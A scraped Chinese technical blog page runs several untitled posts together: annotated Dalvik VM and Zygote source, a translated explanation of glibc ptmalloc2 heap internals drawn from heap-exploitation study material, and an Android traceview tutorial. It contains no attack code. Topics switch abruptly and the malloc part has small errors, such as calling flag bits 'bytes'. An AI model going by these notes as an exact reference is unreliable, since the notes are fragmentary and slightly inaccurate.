123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
static ClassObject* loadClassFromDex0(DvmDex* pDvmDex,
const DexClassDef* pClassDef, const DexClassDataHeader* pHeader,
const u1* pEncodedData, Object* classLoader)
{
ClassObject* newClass = NULL; // 目标类的类实例对象
const DexFile* pDexFile; // 用于存储目标Dex文件所对应的DexFile数据结构实例对象
const char* descriptor; // 用于存储目标类的描述符
int i;
// 获取相应的类信息
pDexFile = pDvmDex->pDexFile;
descriptor = dexGetClassDescriptor(pDexFile, pClassDef);
...
// 为即将生成的类对象实例申请内存空间
assert(descriptor != NULL);
// 判断是不是java.lang.Class类,此类已经初始化过了
if (classLoader == NULL &&
strcmp(descriptor, "Ljava/lang/Class;") == 0) {
assert(gDvm.classJavaLangClass != NULL);
newClass = gDvm.classJavaLangClass;
} else {
// 取得对象实例大小并在内存中申请相应内存
size_t size = classObjectSize(pHeader->staticFieldsSize);
newClass = (ClassObject*) dvmMalloc(size, ALLOC_NON_MOVING);
}
if (newClass == NULL)
return NULL;

// 对新的类对象实例进行初始化
DVM_OBJECT_INIT(newClass, gDvm.classJavaLangClass);
dvmSetClassSerialNumber(newClass);
newClass->descriptor = descriptor;
assert(newClass->descriptorAlloc == NULL);
SET_CLASS_FLAG(newClass, pClassDef->accessFlags);
// 设定字段对象
dvmSetFieldObject((Object *)newClass,
OFFSETOF_MEMBER(ClassObject, classLoader),
(Object *)classLoader);
// 设定类的相关指针
newClass->pDvmDex = pDvmDex;
newClass->primitiveType = PRIM_NOT;
newClass->status = CLASS_IDX;
// 将这个类的父类的索引加入到类对象的指针区域
assert(sizeof(u4) == sizeof(ClassObject*)); /* 32-bit check */
newClass->super = (ClassObject*) pClassDef->superclassIdx;

const DexTypeList* pInterfacesList;
// 得到接口列表
pInterfacesList = dexGetInterfacesList(pDexFile, pClassDef);
if (pInterfacesList != NULL) {
newClass->interfaceCount = pInterfacesList->size;
newClass->interfaces = (ClassObject**) dvmLinearAlloc(classLoader,
newClass->interfaceCount * sizeof(ClassObject*));
// newClass实现了哪些接口类,此处也先以接口类的index存储,后续放到dvmLinkClass来解析
for (i = 0; i < newClass->interfaceCount; i++) {
const DexTypeItem* pType = dexGetTypeItem(pInterfacesList, i);
newClass->interfaces[i] = (ClassObject*)(u4) pType->typeIdx;
}
dvmLinearReadOnly(classLoader, newClass->interfaces);
}
// 对字段进行加载,首先加载静态字段
if (pHeader->staticFieldsSize != 0) {
/* static fields stay on system heap; field data isn't "write once" */
int count = (int) pHeader->staticFieldsSize;
u4 lastIndex = 0;
DexField field;
// 取得字段数
newClass->sfieldCount = count;
// 逐一加载字段
for (i = 0; i < count; i++) {
dexReadClassDataField(&pEncodedData, &field, &lastIndex);
// 解析newClass定义的静态成员信息
loadSFieldFromDex(newClass, &field, &newClass->sfields[i]);
}
}
// 加载实例字段
if (pHeader->instanceFieldsSize != 0) {
int count = (int) pHeader->instanceFieldsSize;
u4 lastIndex = 0;
DexField field;
// 取得字段数
newClass->ifieldCount = count;
newClass->ifields = (InstField*) dvmLinearAlloc(classLoader,
count * sizeof(InstField));
// 逐一加载字段
for (i = 0; i < count; i++) {
dexReadClassDataField(&pEncodedData, &field, &lastIndex);
loadIFieldFromDex(newClass, &field, &newClass->ifields[i]);
}
dvmLinearReadOnly(classLoader, newClass->ifields);
}
// 对类方法进行加载
if (pHeader->directMethodsSize != 0) {
int count = (int) pHeader->directMethodsSize;
u4 lastIndex = 0;
DexMethod method;
// 取得方法数目
newClass->directMethodCount = count;
newClass->directMethods = (Method*) dvmLinearAlloc(classLoader,
count * sizeof(Method));
// 逐一加载方法
for (i = 0; i < count; i++) {
dexReadClassDataMethod(&pEncodedData, &method, &lastIndex);
loadMethodFromDex(newClass, &method, &newClass->directMethods[i]);
if (classMapData != NULL) {
const RegisterMap* pMap = dvmRegisterMapGetNext(&classMapData);
if (dvmRegisterMapGetFormat(pMap) != kRegMapFormatNone) {
newClass->directMethods[i].registerMap = pMap;
/* TODO: add rigorous checks */
assert((newClass->directMethods[i].registersSize+7) / 8 ==
newClass->directMethods[i].registerMap->regWidth);
}
}
}
dvmLinearReadOnly(classLoader, newClass->directMethods);
}
// 加载虚方法
if (pHeader->virtualMethodsSize != 0) {
int count = (int) pHeader->virtualMethodsSize;
u4 lastIndex = 0;
DexMethod method;
// 取得虚方法数目
newClass->virtualMethodCount = count;
newClass->virtualMethods = (Method*) dvmLinearAlloc(classLoader,
count * sizeof(Method));
// 逐一处理方法
for (i = 0; i < count; i++) {
dexReadClassDataMethod(&pEncodedData, &method, &lastIndex);
loadMethodFromDex(newClass, &method, &newClass->virtualMethods[i]);
if (classMapData != NULL) {
const RegisterMap* pMap = dvmRegisterMapGetNext(&classMapData);
if (dvmRegisterMapGetFormat(pMap) != kRegMapFormatNone) {
newClass->virtualMethods[i].registerMap = pMap;
/* TODO: add rigorous checks */
assert((newClass->virtualMethods[i].registersSize+7) / 8 ==
newClass->virtualMethods[i].registerMap->regWidth);
}
}
}
dvmLinearReadOnly(classLoader, newClass->virtualMethods);
}
// 保存源文件信息
newClass->sourceFile = dexGetSourceFile(pDexFile, pClassDef);

/* caller must call dvmReleaseTrackedAlloc */
return newClass; // 返回类对象
}

依次完成:1.在内存中为类对象申请存储空间;2.设置字段信息;3.为超类建立索引;4.加载类接口;5.加载类字段;6.加载类方法,并将以上数据封装成一个ClassObject结构体对象并返回。

glibc中的内存分配是由ptmalloc2实现的,ptmalloc2是dlmalloc(General purpose allocator)的分支,并加入了线程支持。
System Calls malloc内部会调用brkmmap系统调用。
Threading ptmalloc2中,当两个线程同时调用malloc,内存会立即得到分配,因为每个线程有一个单独的堆段,因此free list数据结构中保存的这些堆也是分开的。这种为每个线程分配一个单独的堆和free list数据结构的行为称为per thread arena
例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* Per thread arena example. */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>

void* threadFunc(void* arg) {
printf("Before malloc in thread 1\n");
getchar();
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
getchar();
free(addr);
printf("After free in thread 1\n");
getchar();
}

int main() {
pthread_t t1;
void* s;
int ret;
char* addr;

printf("Welcome to per thread arena example::%d\n",getpid());
printf("Before malloc in main thread\n");
getchar();
addr = (char*) malloc(1000);
printf("After malloc and before free in main thread\n");
getchar();
free(addr);
printf("After free in main thread\n");
getchar();
ret = pthread_create(&t1, NULL, threadFunc, NULL);
if (ret) {
printf("Thread creation error\n");
return -1;
}
ret = pthread_join(t1, &s);
if (ret) {
printf("Thread join error\n");
return -1;
}
return 0;
}

输出分析
主线程的malloc之前,没有堆段,也没有每个线程的栈,因为thread1还没有创建。

1
2
3
4
5
6
7
8
9
10
11
12
$ ./per_thread_arena
Welcome to per thread arena example::3437
Before malloc in main thread

# another terminal
$ cat /proc/3437/maps
...
08048000-08049000 r-xp 00000000 08:02 3680065 /home/fanrong/Computer/pwn/heap-overflow/sploitfun/per_thread_arena
08049000-0804a000 r--p 00000000 08:02 3680065 /home/fanrong/Computer/pwn/heap-overflow/sploitfun/per_thread_arena
0804a000-0804b000 rw-p 00001000 08:02 3680065 /home/fanrong/Computer/pwn/heap-overflow/sploitfun/per_thread_arena
f755a000-f755b000 rw-p 00000000 00:00 0
...

主线程的malloc之后,堆段创建,主线程的堆内存由brk系统调用创建。尽管用户请求了1000bytes,但却创建了132KB的堆内存。这个连续的堆内存称为arena,因为由主线程创建,所以叫它main arena。后续的分配请求会接着用这个arena直到用完空闲空间,它可以通过增加program break location来增长(并调整Top Chunk的大小)。当Top Chunk有大量的空闲空间时arena也可以缩小。

1
2
3
4
5
After malloc and before free in main thread
...
0986e000-0988f000 rw-p 00000000 00:00 0 [heap]
f7536000-f7537000 rw-p 00000000 00:00 0
...

主线程的free之后,分配的内存区域没有释放给操作系统,而是是释放给glibc malloc,glibc malloc把这个空闲的块加到main arena的bin(glibc malloc中,freelist数据结构称为bin)

1
2
3
4
After free in main thread
...
0986e000-0988f000 rw-p 00000000 00:00 0 [heap]
f7536000-f7537000 rw-p 00000000 00:00 0

thread1的malloc之前,thread1没有堆段,但是有栈了。

1
2
3
Before malloc in thread 1
...
f6d36000-f7537000 rw-p 00000000 00:00 0 [stack:3904]

thread1的malloc之后,thread1的堆(f6c00000-f6c21000大小为132KB)创建了,与主线程不同,它是由mmap创建,称为thread arena

用户请求的大小大于128KB时,内存分配由mmap系统调用完成(而不是sbrk),不管是请求是main arena发出的还是thread arena发出的。

1
2
3
4
5
6
After malloc and before free in thread 1
...
0986e000-0988f000 rw-p 00000000 00:00 0 [heap]
f6c00000-f6c21000 rw-p 00000000 00:00 0
f6c21000-f6d00000 ---p 00000000 00:00 0
f6d35000-f6d36000 ---p 00000000 00:00 0

thread1的free之后,分配的内存没有释放给操作系统,而是释放给glibc malloc,glibc malloc把这个空闲块加到thread arena的bin

1
2
3
4
5
6
After free in thread 1
...
0986e000-0988f000 rw-p 00000000 00:00 0 [heap]
f6c00000-f6c21000 rw-p 00000000 00:00 0
f6c21000-f6d00000 ---p 00000000 00:00 0
f6d35000-f6d36000 ---p 00000000 00:00 0

Arena
arena的数量由系统的核数量决定。

32位系统:
arena的数量 = 2 * 核的数量
64位系统:
arena的数量 = 8 * 核的数量

Multiple Arena
例如:一个多线程(主线程+3个用户线程)应用在一个单核的32位系统上运行,线程数>2*核数,因此glibc malloc需要确保multiple arena能被线程共享。

  • 主线程第一次调用malloc会创建main arena。
  • thread1和thread2第一次调用malloc,会分别为它们创建thread arena
  • thread3第一次调用malloc不会创建arena,会尝试reuse已存在的arena(main arena或arena1或arena2)
  • reuse:
    当循环可用的arena时,尝试lock arena
    如果lock成功,返回那个arena给用户
    如果没有空闲的arena,阻塞排队等待arena

Multiple Heaps
glibc malloc中有三种数据结构:
heap_infoHeap Header - 一个thread arena可以有multiple heaps,每个heap有自己的header。(每个thread arena一开始只有一个heap,当堆段空间用尽时,会有新的heap被mmap到这个arena中)
malloc_stateArena Header - 一个thread arena的multiple heaps只有一个arena header。Arena header包含着bins,top chunk,last remainder chunk等信息。
malloc_chunkChunk Header - 一个heap根据用户请求被分成多个chunk,每个chunk有自己的header。

Main arena没有multiple heaps,因此没有heap_info结构。当main arena空间用尽时,sbrk创建的堆段会被增长(连续空间),直到它撞到内存映射段。
和thread arena不同,main arena的arena header不是sbrk创建的堆段的一部分,它是一个全局变量,因此它在libc.so的数据段。

main arena和thread arena(单个堆段)

thread arena(多个堆段)

Chunk堆段中chunk的类型:

  • Allocated chunk
  • Free chunk
  • Top chunk
  • Last Remainder chunk

Allocated Chunk

prev_size如果前一个chunk被free,这个成员包含前一个chunk的大小,如果前一个chunk被分配,这个域包含前一个chunk的用户数据。
size这个成员包含当前chunk的大小,最后三个字节包含了标识位信息。

  • PREV_INUSE(P) - 前一个chunk被分配时,设置这一位。
  • IS_MMAPPED(M) - 当chunk是mmap创建的,设置这一位。
  • NON_MAIN_ARENA(N) - 当chunk属于一个thread arena时,设置这一位。

Free Chunk

prev_size没有两个free chunk是相连的,当两个chunk都是free的,它们会合并成一个free chunk,因此free chunk的前一个chunk一定是allocated chunk,这个域一定包含用户数据。
size包含这个free chunk的大小。
fd指向相同bin里的下一个chunk(而不是物理内存中的下一个chunk)。
bk指向相同bin里的前一个chunk(而不是物理内存中的前一个chunk)。
Bins是free list数据结构,它们被用来保存free chunk。基于chunk的大小分为:

  • Fast bin
  • Unsorted bin
  • Small bin
  • Large bin

用于保存bin的数据结构:
fastbinsY这个数组保存fast bin。
bins这个数组保存unsorted,small和large bin,总共有126个bin:

  • Bin 1 - Unsorted bin
  • Bin 2 to Bin 63 - Small bin
  • Bin 64 to Bin 126 - Large bin

Fast Bin 16~80bytes大小的chunk被称为fast chunk。保存fast chunk的bin叫做fast bin,fast bin在内存中分配和回收更快。

  • bin的数量 - 10
    每个fast bin包含一个free chunk的单向链表,单项链表的增加和删除都在链表头(LIFO)。
  • Chunk size - 以8字节区分
    例如,第一个fast bin(index 0)包含16字节chunk的binlist,第二个fast bin(index 1)包含24字节chunk的binlist …
    同一个fast bin的chunk一样大小。

  • 在malloc初始化阶段,fast bin最大64字节(而不是80),因此默认16~64字节的chunk是fast chunk。
  • 不合并 - 两个相连的free chunk不会合并成一个,这会产生更多碎片,但是free的速度提高了。

Unsorted Bin 当small或large chunk free以后,不会把它们加到期望的bin,而是加到unsorted bin。这种方法使glibc malloc能重用最近free的chunk,使内存的分配和回收加速(因为减少了查找合适bin的时间)。

  • bin的数量 - 1
    unsorted bin包含一个free chunk的循环双向链表。
  • Chunk size - 没有大小限制


Small Bin 小于512字节的chunk称为small chunk,保存small chunk的bin称为small bin。small bin的分配与回收比large bin快(没有fast bin快)。

  • bin数量 - 62
    small bin包含free chunk的循环双向链表,双向链表的增加在开头,删除在末尾(FIFO)。
  • Chunk Size - 以8字节区分
    例如,第一个small bin(Bin 2)保存一个16字节chunk的binlist,第二个smallbin(Bin 3)保存一个24字节chunk的binlist …
    同一个small bin里的chunk大小相同。
  • 合并 - 两个相邻的free chunk会合并成一个。合并减少了碎片,但使free速度减慢。

Large Bin 大小大于等于512的chunk称为large chunk。保存large chunk的bin称为large bin。

  • bin的数量 - 63
    large bin包含一个free chunk的循环双向链表。
    chunk的增加和删除可以在链表的任何位置。
  • 合并 - 两个相邻的free chunk会合并成一个。

Top Chunk
在arena顶部的chunk称为top chunk,它不属于任何bin。Top chunk会在所有bin都没有空闲区域的时候使用。Top chunk大于用户请求时分成两部分:

  • 用户chunk
  • Remainder chunk

Remainder chunk变成新的top,top chunk小于用户请求,会通过sbrk(main arena)或mmap(thread arena)系统调用增加。
Last Remainder Chunk 最近从small请求中分离出来的。
reference
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

trace使用

(1) 在代码中加入调试命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example.dalviktestapp;

import android.app.Activity;
import android.os.Bundle;
import android.os.Debug;

public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
test();
}

public static void test() {
// 调用Android调试模式下的调试方法
Debug.startMethodTracing("/sdcard/test");
System.out.println("Hello Dalvik");
Debug.stopMethodTracing();
}
}

(2) 在AndroidMenifest.xml文件中加入权限

1
2
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>

(3) 右键项目->Debug As->Android Application,会在sdcard目录下生成trace文件

1
2
$ adb pull /sdcard/test.trace . // 拷贝到本地
$ traceview test.trace // 用traceview查看

可以看到程序中每个线程调用方法的启动和停止时间,分析程序的每一步流程,定位存在问题的代码。

Dalvik虚拟机执行流程

Dalvik虚拟机各部分功能:
线程管理:进程隔离和线程管理,每一个Android应用在底层都会对应一个独立的Dalvik虚拟机实例,所有的Android应用的线程都对应一个Linux线程,进程管理依赖于Zygote机制。
类加载:解析Dex文件并加载Dalvik字节码。
解释器:根据自身的指令集Dalvik ByteCode解释字节码。
内存管理:分配系统启动初始化和应用程序运行时需要的内存资源。
即时编译(Just-In-Time, JIT):在解释时动态地编译程序,以缓解解释器的低效工作。
本地方法调用(Java Native Interface, JNI):一套编程框架标准接口,允许Java代码和本地代码互相调用。
反射机制实现模块:允许程序在运行时透过Reflection API取得任何一个已知名称的类的内部信息,包括其描述符、超类、实现的接口,也包括属性和方法等所有信息,并可于运行时改变属性内容或调用内部方法。
调试支撑模块:Dalvik VM支持许多常见开发环境下的代码级调试,任何允许JDWP(Java Debug Wire Protocol——Java 调试线协议)下远程调试的工具都可以使用,其支持的调试器包括jdb、Eclipse、IntelliJ和JSwat。

Dalvik虚拟机运行在ARM平台的入口点

Dalvik虚拟机运行在ARM平台时,是从初始化进程加载的服务Zygote开始的。Zygote进程通过调用startVm来创建虚拟机。在这个函数中主要通过调用JNI_CreateJavaVM()来创建虚拟机。
代码清单 framework/base/core/jni/AndroidRuntime.cpp: startVm()

1
2
3
4
5
6
7
8
9
int AndroidRuntime::startVm(JavaVM** pJavaVM, JNIEnv** pEnv)
{
...
if (JNI_CreateJavaVM(pJavaVM, pEnv, &initArgs) < 0) {
LOGE("JNI_CreateJavaVM failed\n");
goto bail;
}
...
}

Dalvik虚拟机的入口点通过调用JNI_CreateJavaVM()函数来完成虚拟机的创建。Java_CreateJavaVM所完成的主要工作如下。
(1) 检查JNI版本是否正确;
(2) 解析命令行参数,初始化JNIEnvJavaVM全局变量;
(3) 初始化全局变量gDvm
(4) 调用dvmStartup初始化虚拟机的各个模块,包括初始化垃圾收集器(GC)类加载器字节码校验模块解释器等,完成各模块的初始化后创建一个线程;
(5) 装载Dalvik虚拟机运行时核心类库并校验字节码。
JNI_CreateJavaVM函数的实现在文件dalvik/vm/Jni.cpp里
代码清单 dalvik/vm/Jni.cpp: JNI_CreateJavaVM()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
jint JNI_CreateJavaVM(JavaVM** p_vm, JNIEnv** p_env, void* vm_args) {
const JavaVMInitArgs* args = (JavaVMInitArgs*) vm_args;
...
/* 初始化VM */
gDvm.initializing = true;
std::string status =
dvmStartup(argc, argv.get(), args->ignoreUnrecognized, (JNIEnv*)pEnv);
gDvm.initializing = false;
if (!status.empty()) {
free(pEnv);
free(pVM);
LOGW("CreateJavaVM failed: %s", status.c_str());
return JNI_ERR;
}
/* Success! Return stuff to caller */
dvmChangeStatus(NULL, THREAD_NATIVE);
*p_env = (JNIEnv*) pEnv;
*p_vm = (JavaVM*) pVM;
ALOGV("CreateJavaVM successded");
return JNI_OK;
}

Zygote进程

Zygote进程是由init进程根据system/core/rootdir/init.rc文件中的配置项创建的,init进程是系统启动后运行在用户空间的首个进程。init进程启动完系统所需的各种Daemon线程后,启动Zygote进程。Zygote进程启动后,Android的应用程序都由Zygote进程启动运行。Zygote主要负责:
(1) 启动系统服务system_server进程(Android绝大多数系统服务的守护进程)。
(2) 创建子进程运行Android应用程序。
Zygote工作流程:
(1) 系统init进程创建Zygote进程,通过执行app_process程序,开启Zygote进程。
(2) app_process生成AppRuntime对象,分析其主函数传递过来的参数,传递给AppRuntime对象,调用对象的start方法,在start中完成了以下三件事。

  • 调用startVm注册虚拟机。在其中通过调用JNI_CreateJavaVM()创建虚拟机。
  • 调用startReg注册JNI函数。注册虚拟机要使用的JNI函数,这样运行在虚拟机中的Java类就可以调用本地函数了。
  • 调用ZygoteInit类的main函数,运行ZygoteInit类(位于framework/base/core/java/com/android/internal/os/ZygoteInit.java)。

(3) ZygoteInit是Zygote的main函数入口,是Zygote的核心类,完成了Zygote的职责,其执行流程如下。

  • 调用registerZygoteSocket函数创建了一个socket接口,绑定socket套接字,接收新的Android应用程序运行请求。
  • 调用preloadClassespreloadResource函数加载Android application framework使用的类和资源。
  • 调用startSystemServer函数来启动SystemServer组件。在startSystemServer中调用forkSystemServer()来创建出一个名为system_server的进程,这个进程调用com.android.server.SystemServer的main函数,启动各项系统服务,并最终将调用线程加入到Binder通信系统。system_server是系统Service所驻留的进程,该进程是framework的核心。
  • Zygote从startSystemServer函数返回后,调用runSelectLoopMode函数进入一个无限循环,监听socket接口等待新的应用程序请求。

Zygote可以创建三种进程:forkZygote子进程,forkSystemServersystem_server进程,forkAndSpecialize非Zygote子进程
三种创建进程的方法根据JNI机制均对应有native方法,位于dalvik/vm/native/dalvik_system_Zygote.cpp文件中:
(1) fork
代码清单 dalvik/vm/native/dalvik_system_Zygote.cpp: Dalvik_dalvik_system_Zygote_fork()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* native public static int fork(); */
static void Dalvik_dalvik_system_Zygote_fork(const u4* args, JValue* pResult)
{
pid_t pid;
// 判断当前虚拟机是否支持Zygote
if (!gDvm.zygote) {
dvmThrowIllegalStateException(
"VM instance not started with -Xzygote");
RETURN_VOID();
}
// 判断堆创建是否成功,不成功则停止虚拟机
if (!dvmGcPreZygoteFork()) {
ALOGE("pre-fork heap failed");
dvmAbort();
}
// 设置信号机制
setSignalHandler();
// 记录日志信息
dvmDumpLoaderStats("zygote");
pid = fork();

#ifdef HAVE_ANDROID_OS
if (pid == 0) {
/* child process */
extern int gMallocLeakZygoteChild;
gMallocLeakZygoteChild = 1;
}
#endif

RETURN_INT(pid);
}

新进程复制父进程的资源,新的Zygote进程的虚拟机参数中支持Zygote标记参数gDvm.zygote也为true,因而也可以fork子进程。
(2) forkSystemServer()
代码清单 dalvik/vm/native/dalvik_system_Zygote.cpp: Dalvik_dalvik_system_Zygote_forkSystemServer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
* native public static int nativeForkSystemServer(int uid, int gid,
* int[] gids, int debugFlags, int[][] rlimits,
* long permittedCapabilities, long effectiveCapabilities);
*/
static void Dalvik_dalvik_system_Zygote_forkSystemServer(
const u4* args, JValue* pResult)
{
pid_t pid;
// 根据参数,fork一个子进程
pid = forkAndSpecializeCommon(args, true);
/* The zygote process checks whether the child process has died or not. */
if (pid > 0) {
int status;
ALOGI("System server process %d has been created", pid);
// 保存system_server的进程id
gDvm.systemServerPid = pid;
/* There is a slight window that the system server process has crashed
* but it went unnoticed because we haven't published its pid yet. So
* we recheck here just to make sure that all is well.
*/
if (waitpid(pid, &status, WNOHANG) == pid) {
// 如果system_server退出了,Zygote直接kill自己
ALOGE("System server process %d has died. Restarting Zygote!", pid);
kill(getpid(), SIGKILL);
}
}
RETURN_INT(pid);
}

system_server子进程一直驻留在系统中,一旦此进程退出,父进程Zygote也会被终止。系统init进程通过重启Zygote进程,使得Zygote进程重新启动system_server进程。
(3) forkAndSpecialize()
代码清单 dalvik/vm/native/dalvik_system_Zygote.cpp: Dalvik_dalvik_system_Zygote_forkAndSpecialize()

1
2
3
4
5
6
7
8
9
10
11
/*
* native public static int nativeForkAndSpecialize(int uid, int gid,
* int[] gids, int debugFlags, int[][] rlimits, int mountExternal,
* String seInfo, String niceName);
*/
static void Dalvik_dalvik_system_Zygote_forkAndSpecialize(const u4 *args, JValue *pResult)
{
pid_t pid;
pid = forkAndSpecializeCommon(args, false);
RETURN_INT(pid);
}

forkAndSpecializeCommon()函数的第二个参数标识创建的子进程是否为system_server子进程。forkSystemServer()调用时第二个参数为true,而forkAndSpecialize()调用时为false。
代码清单 dalvik/vm/native/dalvik_system_Zygote.cpp: forkAndSpecializeCommon()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
/*
* Utility routine to fork zygote and specialize the child process.
*/
static pid_t forkAndSpecializeCommon(const u4* args, bool isSystemServer)
{
pid_t pid;

uid_t uid = (uid_t) args[0];
gid_t gid = (gid_t) args[1];
ArrayObject* gids = (ArrayObject *)args[2];
u4 debugFlags = args[3];
ArrayObject *rlimits = (ArrayObject *)args[4];
u4 mountMode = MOUNT_EXTERNAL_NONE;
int64_t permittedCapabilities, effectiveCapabilities;
char *seInfo = NULL;
char *niceName = NULL;
// 判断是否为system_server进程
if (isSystemServer) {
permittedCapabilities = args[5] | (int64_t) args[6] << 32;
effectiveCapabilities = args[7] | (int64_t) args[8] << 32;
} else {
mountMode = args[5];
permittedCapabilities = effectiveCapabilities = 0;
StringObject* seInfoObj = (StringObject*)args[6];
if (seInfoObj) {
seInfo = dvmCreateCstrFromString(seInfoObj);
if (!seInfo) {
ALOGE("seInfo dvmCreateCstrFromString failed");
dvmAbort();
}
}
StringObject* niceNameObj = (StringObject*)args[7];
if (niceNameObj) {
niceName = dvmCreateCstrFromString(niceNameObj);
if (!niceName) {
ALOGE("niceName dvmCreateCstrFromString failed");
dvmAbort();
}
}
}
// 判断当前虚拟机是否支持Zygote
if (!gDvm.zygote) {
dvmThrowIllegalStateException(
"VM instance not started with -Xzygote");
return -1;
}
// 判断堆创建是否成功,不成功则停止虚拟机
if (!dvmGcPreZygoteFork()) {
ALOGE("pre-fork heap failed");
dvmAbort();
}
// 设置信号处理
setSignalHandler();
dvmDumpLoaderStats("zygote");

pid = fork();
if (pid == 0) {
int err;
/* The child process */
#ifdef HAVE_ANDROID_OS
extern int gMallocLeakZygoteChild;
gMallocLeakZygoteChild = 1;

/* keep caps across UID change, unless we're staying root */
if (uid != 0) {
err = prctl(PR_SET_KEEPCAPS, 1, 0, 0, 0);

if (err < 0) {
ALOGE("cannot PR_SET_KEEPCAPS: %s", strerror(errno));
dvmAbort();
}
}

for (int i = 0; prctl(PR_CAPBSET_READ, i, 0, 0, 0) >= 0; i++) {
err = prctl(PR_CAPBSET_DROP, i, 0, 0, 0);
if (err < 0) {
if (errno == EINVAL) {
ALOGW("PR_CAPBSET_DROP %d failed: %s. "
"Please make sure your kernel is compiled with "
"file capabilities support enabled.",
i, strerror(errno));
} else {
ALOGE("PR_CAPBSET_DROP %d failed: %s.", i, strerror(errno));
dvmAbort();
}
}
}

#endif /* HAVE_ANDROID_OS */

if (mountMode != MOUNT_EXTERNAL_NONE) {
err = mountEmulatedStorage(uid, mountMode);
if (err < 0) {
ALOGE("cannot mountExternalStorage(): %s", strerror(errno));

if (errno == ENOTCONN || errno == EROFS) {
// When device is actively encrypting, we get ENOTCONN here
// since FUSE was mounted before the framework restarted.
// When encrypted device is booting, we get EROFS since
// FUSE hasn't been created yet by init.
// In either case, continue without external storage.
} else {
dvmAbort();
}
}
}
// 将list数组中所标明的组加入到目前进程的组设置中
err = setgroupsIntarray(gids);
if (err < 0) {
ALOGE("cannot setgroups(): %s", strerror(errno));
dvmAbort();
}
// 设置资源限制
err = setrlimitsFromArray(rlimits);
if (err < 0) {
ALOGE("cannot setrlimit(): %s", strerror(errno));
dvmAbort();
}
// 设置指定进程组id
err = setresgid(gid, gid, gid);
if (err < 0) {
ALOGE("cannot setresgid(%d): %s", gid, strerror(errno));
dvmAbort();
}
// 设置用户id
err = setresuid(uid, uid, uid);
if (err < 0) {
ALOGE("cannot setresuid(%d): %s", uid, strerror(errno));
dvmAbort();
}

if (needsNoRandomizeWorkaround()) {
int current = personality(0xffffFFFF);
int success = personality((ADDR_NO_RANDOMIZE | current));
if (success == -1) {
ALOGW("Personality switch failed. current=%d error=%d\n", current, errno);
}
}
// 设置Linux功能标识
err = setCapabilities(permittedCapabilities, effectiveCapabilities);
if (err != 0) {
ALOGE("cannot set capabilities (%llx,%llx): %s",
permittedCapabilities, effectiveCapabilities, strerror(err));
dvmAbort();
}

err = set_sched_policy(0, SP_DEFAULT);
if (err < 0) {
ALOGE("cannot set_sched_policy(0, SP_DEFAULT): %s", strerror(-err));
dvmAbort();
}

err = setSELinuxContext(uid, isSystemServer, seInfo, niceName);
if (err < 0) {
ALOGE("cannot set SELinux context: %s\n", strerror(errno));
dvmAbort();
}
// These free(3) calls are safe because we know we're only ever forking
// a single-threaded process, so we know no other thread held the heap
// lock when we forked.
free(seInfo);
free(niceName);

/*
* Our system thread ID has changed. Get the new one.
*/
Thread* thread = dvmThreadSelf();
thread->systemTid = dvmGetSysThreadId();

/* configure additional debug options */
enableDebugFeatures(debugFlags);
// 将信号量机制设为默认
unsetSignalHandler();
// 子进程不支持Zygote
gDvm.zygote = false;
// 检查虚拟机初始化是否成功
if (!dvmInitAfterZygote()) {
ALOGE("error in post-zygote initialization");
dvmAbort();
}
} else if (pid > 0) {
/* the parent process */
free(seInfo);
free(niceName);
}

return pid;
}

forkAndSpcializeCommon()函数与Dalvik_dalvik_system_Zygote_fork()函数流程的不同之处:

  • 在forkAndSpecializeCommon()函数开始时,需要根据参数isSystemServer判断所需创建的子进程是否为system_server,并对其参数进行处理。
  • 由于调用forkAndSpecializeCommon()函数产生的子进程都不是Zygote进程,因此,要调用unsetSignalHandler()函数重置信号机制。同时,子进程不能创建新进程,故设置为不支持Zygote:gDvm.zygote = false
  • 子进程中还要检查虚拟机是否初始化成功,因为需要执行相应任务,所以必须保证虚拟机成功初始化。

Dalvik虚拟机运行应用程序

应用程序是以apk文件形式被虚拟机通过类加载模块引用加载并提取可执行代码的。apk文件解压后得到Dex文件,类加载模块对Dex文件进行解析,将所需的类的各个信息抓取出来,并将其封装到一个数据结构实例对象中,以供解释器直接引用这个结构体对象的相关的成员变量,实现程序的实际运行。
类加载模块的工作主要分为以下两个阶段:
(1) 取得Dex原始文件将其还原到内存中,并将Dex文件与一个DexFile结构体对象关联。
(2) 对Dex文件中的各个类依次进行加载生成类对象实例,并将对象指针交付给解释器引用执行。
在Dalvik上执行的程序由字节码组成,在字节码加载已经完毕后,Dalvik虚拟机解释器被调用开始取指解释执行。解释器有两种实现:C语言实现和汇编语言实现,分别称为Portable解释器Fast解释器
为了缓解解释器的低效,有两种解决方法:

  • 采用NDK,调用静态编译的方法提高效率。
